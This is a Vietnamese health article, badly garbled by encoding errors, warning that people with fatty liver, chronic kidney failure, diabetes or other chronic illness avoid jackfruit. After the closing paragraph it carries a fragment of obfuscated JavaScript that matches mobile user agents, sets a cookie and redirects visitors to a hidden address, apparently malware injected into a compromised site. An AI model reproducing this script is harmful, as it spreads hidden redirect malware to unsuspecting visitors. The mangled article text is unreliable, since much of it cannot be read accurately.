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Nha�?ng ng?�a�?i ma??c 4 ba��nh sau tuya��t A�a��i khA?ng A�?�a�?c A?n mA�t

MA�t giA�u d?�a�?ng cha??t nh?�ng ma��t sa�� ng?�a�?i A?n mA�t la??i r?�a��c thA?m ba��nh vA�o ng?�a�?i, tha?�m chA� khia??n ba��nh thA?m nan gia??i h??n.

MA�t lA� loa??i trA?i cA?y quen thua��c, giA�u cA?c cha??t quan tra�?ng nh?� vitamin C, can xi, kali, sa??ta�� vA� nhia�?u d?�a�?ng cha??t thia??t ya??u khA?c. A�n mA�t th?�a�?ng xuyA?n sa?? giA?p tA?ng c?�a�?ng ha�� mia��n da��ch, cha��ng la??i cA?c ba��nh ung th?�, duy trA� va?� A�a??p cho lA�n da. Tuy mA�t ngon, ba�� d?�a�?ng nh?�ng cA? nha�?ng ng?�a�?i A?n mA�t la??i thA?m ba��nh, tha?�m chA� lA�m ba��nh na?�ng h??n.

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Gan nhia��m ma�?

Theo nghiA?n ca��u, mA�t giA�u d?�a�?ng cha??t, vA� nhia�?u vitamin, tuy nhiA?n loa??i qua?? nA�y cha��a nhia�?u A�?�a�?ng vA� khA?ng ta��t cho gan. Ch?�a ka�?, mA�t ra??t da�� gA?y nA?ng trong, vA� tha?? la�?i khuyA?n cho nha�?ng ng?�a�?i ba�� gan nhia��m ma�? lA� khA?ng nA?n A?n mA�t th?�a�?ng xuyA?n, tha?�m chA� nA?n nA?i khA?ng va��i mA�t.

Suy tha?�n mA?n tA�nh

Va��i nha�?ng ba��nh nhA?n ba�� suy tha?�n mA?n tA�nh nA?n trA?nh cA?c loa??i tha��c A?n giA�u kali nh?� mA�t. Do khi ba�� suy tha?�n, kali ba�� a�� A�a�?ng la??i da?�n A�a??n tA?ng kali mA?u, na??u quA? nhia�?u sa?? da?�n A�a??n ta�� vong do nga��ng tim mA� khA?ng cA? da??u hia��u bA?o tr?�a��c nA�o.

Tia�?u A�?�a�?ng

Ng?�a�?i ba��nh tia�?u A�?�a�?ng ca?�n pha??i A?n ua��ng theo ma��t cha?? A�a�� A?n “kiA?ng cha??t A�?�a�?ng”. Trong khi A�A?, mA�t cA? cha��a nhia�?u A�?�a�?ng fructoza vA� A�?�a�?ng glucoza, khi A?n vA�o A�?�a�?c c?? tha�? ha??p thu ngay, da?�n A�a??n hA�m l?�a�?ng A�?�a�?ng trong mA?u tA?ng cao nhanh chA?ng.

Ba��nh mA?n tA�nh

La�?i khuyA?n cho nha�?ng ng?�a�?i ma??c cA?c ba��nh mA?n tA�nh, ta��t nha??t cha�� nA?n xem mA�t lA� ma��t mA?n A?n th?�a�Yng tha��c cho vui mia��ng, cha�� nA?n th?�a�?ng xuyA?n A?n loa??i qua?? nA�y.

Khi A?n mA�t, xoA�i ca?�n lA�m sa??ch nha��a, nhai ka�? vA� khA?ng A?n vA�o bua��i chia�?u ta��i. Va��i tra?� em vA� ng?�a�?i cao tua��i nA?n ca??t nha�? hoa?�c nghia�?n nhuya��n. d)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

30 thoughts on “Nha�?ng ng?�a�?i ma??c 4 ba��nh sau tuya��t A�a��i khA?ng A�?�a�?c A?n mA�t

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